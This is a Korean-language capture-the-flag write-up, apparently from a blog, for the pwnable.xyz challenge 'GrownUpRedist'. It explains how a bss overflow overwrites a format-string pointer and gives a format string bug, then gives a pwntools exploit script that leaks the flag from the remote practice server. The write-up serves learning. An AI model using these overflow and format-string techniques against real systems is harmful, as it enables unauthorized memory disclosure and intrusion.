How to Exploit

image image

setup 함수를 보면 0x601160에 0x601168이 들어가있고 0x601168에는 '%s\n'이 있어서 printf('%d\n', usr);이 이뤄진다.

Design the Payload

  1. overflow
    bss 영역을 살펴보면 usr와 qword_601160의 거리가 80이다. 또한 src에 B*7을 넣었을 때 usr에는 0x0a가 추가된다. 이를 통해 qword_601160의 영역에 침범가능하다.
image

실제로 '0'을 0x80개 넣어보니 0x601160의 값이 0x601100으로 변하였다.
따라서 0x601100에 서식문자를 넣어 FSB를 일으킬 수 있다.

  1. pie가 꺼져있으므로 flag의 주소는 0x601080이다. 처음에 buf에 입력받을 때 주소도 입력해주어 스택에 남겨놓고 %s를 이용하여 flag를 출력하자.
image

직접 %p를 넣어 오프셋을 계산하였다.

Exploit Code

from pwn import *
#p=process('./GrownUpRedist')
p=remote('svc.pwnable.xyz', 30004)

payload = 'A'*0x20+'%p'*8+'%s'+'A'*(0x60-18)

p.sendlineafter('[y/N]: ', 'yyyyyyyy'+p32(0x601080))
p.sendlineafter('Name: ', payload)
print(p.recv(10000))

Capture The Flag

image

'Writeup [pwn] > pwnable.xyz' 카테고리의 다른 글

TLSv00  (0) 2020.03.07
Sub  (0) 2020.03.07
Note  (0) 2020.03.07
Misalignment  (0) 2020.03.07
Add  (0) 2020.03.07

+ Recent posts